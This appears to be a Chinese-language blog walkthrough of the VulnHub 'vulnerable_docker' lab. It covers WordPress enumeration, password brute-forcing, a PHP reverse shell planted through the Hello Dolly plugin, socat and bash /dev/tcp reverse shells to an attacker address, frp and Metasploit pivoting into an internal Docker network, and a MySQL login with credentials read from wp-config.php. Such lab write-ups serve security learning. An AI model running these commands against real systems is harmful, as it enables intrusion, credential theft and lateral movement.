vulnhub-vulnerable_docker_containement通关教程
扫出我们的靶机是167
nmap 192.168.135.0/24 -sP

这里我们发现22端口,初步怀疑80端口修改成了8000
Nmap 192.168.135.167

这里http服务端口果然是8000
nmap 192.168.135.167 -p- -A

访问页面,我们直接用wpscan扫一下,因为我们nmap扫到了他的指纹CMS,可以使用wpscan。

这里我们扫出了bob用户
wpscan --url http://192.168.135.167:8000/ -eu

我们接着用dirb扫出目录,有了用户名信息,我们看看有没有登陆界面。
dirb http://192.168.135.167:8000

通过扫到的信息我们发现登录界面,对于这个界面我们很是熟悉了,wordpress。

从github下载脚本和字典破败bob

这个是一个python2的脚本,而且别忘了虽然就一个bob用户,但是还要给他单独一个字典做用户名。这里我们爆出密码Welcome1
python2 wpforce.py -i user.txt -w 10-million-password-list-top-10000.txt -u http://192.168.135.167:8000/

到了这里我们就很简单了,上传php-reverse-shell.php拿到反弹的shell就行
Locate php-reverse-shell.php
cp /usr/share/webshells/php/php-reverse-shell.php .


此时修改IP和监听端口上传访问就可以

我靠,我发现个问题,我的靶场是php7.13,网上的教程都是5开头。。。我的shell上传不成功。没事我们可以修改hello dolly

直接把全部代码复制粘贴进去,然后运行,监听端口就拿到www-data的shell了。



尝试那稳定pty时发现没有安装python,但是安装了curl我们可以通过socat来修复pty。
Python -m http.server 8000
Curl -O http://192.168.135.155:8000/socat
Chmod 777 socat



HOME=/dev/shm ./socat tcp:192.168.135.155:9998 exec:'/bin/bash -li',pty,stderr,sigint,sighup,sigquit,sane


修复pty,获得稳定的shell
Script -qc bash /dev/null
Stty raw -echo; fg
Export TERM=xterm

既然CMS是wordpress,那我们就直接看看配置文件,一般都会有mysql的信息泄露出来的。
Cd /var/www/html
Cat wp-config.php

简单看看网卡信息,发现还有东西,这个。。。一台靶机怎么会有内网信息的???
Ip r
Ip a
Ip neigh

这个我们之前第一次打跳板机时就用过for循环来探测过内网存活主机,虽然我还是没搞懂原理,但是下一步我们就要看看他们开放的端口。
for i in {1..254}; do (ping -c 1 172.18.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;

接下来我们搞一个脚本,用curl来下载
Curl -O -# http://192.168.135.155:8000/bash.sh
Chmod 777 bash.sh


直接运行脚本我们就发现他们存活的端口啊。这里我先说一下,我们会使用frp进行内网穿透,但是这个frp很容易使得8022端口崩溃,拿过一次shell后不可退出,退出了端口就会关闭,再也拿不到shell(恢复快照),但是我们也能用MSF来拿shell,这个和frp不一样,不会崩溃。

修改frpc.ini文件

Frps.ini文件不用修改。。。

将客户端上传至靶机,修改权限,启动服务端和客户端就能互联了,记得想让kali命令走代理就要设置/etc/proxychains4.conf
Curl -O -# http://192.168.135.155:8000/frpc
Chmod 777 frpc

那时候卡在这里很久,都研究好久小有成效>_<但是问题不是出在这里,问题是你第一次拿到shell,或是访问到ssh后端口就会断开,我们必须重新一次拿shell提权到rootshell,第一次确实不让人满意。。。但是MSF确实是可以。
./frps -c frps.ini
./frpc -c frpc.ini


让命令走代理777,不然没用。。。
Gedit /etc/proxychains4.conf

根据我们之前探测到的IP和开放端口进行扫描,我们发现这里存在node.js文件

当然我们浏览器想要访问到网站那就要加代理。。。让流量走7777端口。Proxychains是命令走的代理不是一个概念。
这里我们用的是frp,我第一次打端口就关闭了我以为是我的问题,结果是靶场这样设计,所以我们进去直接拿shell,kali先监听9988
Nc -vlp 9988


然后我们访问浏览器直接输入命令拿到shell,不能退出!!!不然所有步骤就要重来。
这里我们只是进到了容器内部。我们要逃逸出来。
Bash -I >& /dev/tcp/192.168.135.155/9988 0>&1


哎呀,我无法下载curl,拉取我本地的dockers进去,这一步卡死了,还好有msf进行渗透。

当退出一次shell后,8022端口就会关闭,不是frp的问题,我第一次打就是因为端口关闭了访问不到了,我一直以为是我frp有问题。。。但是没有事,我们还有MSF来进行渗透。


进入MSF(msfconsole)选择攻击(exploit)模块multi/handler,查看必要的配置信息show options

根据要求设置必要参数,运行就能连接会话。
Set payload php/reverse_php
Set lhost 192.168.135.155
Set lport 1234 (这个和我们上传的shell文件一样)
Exploit -j

这个会话不稳定,我进去一次后就断了,再打一次ID变为2,后续不变。。。
Sessions -i

获得wendingshell,直接用这个会话可以执行ipconfg等命令。
Use post/multi/manage/shell_to_meterpreter
Set session 1
run

这个sessions 2就非常稳定还能执行命令


接下来就是添加路由表了
Run autoroute -s 172.18.0.0/24
Run autoroute -p

我们开始扫描IP开放的端口
Use auxiliary/scanner/portscan/tcp
Set rhost 172.18.0.0/24
Set session 2
run


最后配置代理,让kali的命令也走代理就行了
use auxiliary/server/socks_proxy
set SRVPORT 1080
set session 2
run

连上了mysql说明代理什么的都没有问题。。
proxychains mysql -u wordpress -pWordPressISBest -h 172.18.0.3

浙公网安备 33010602011771号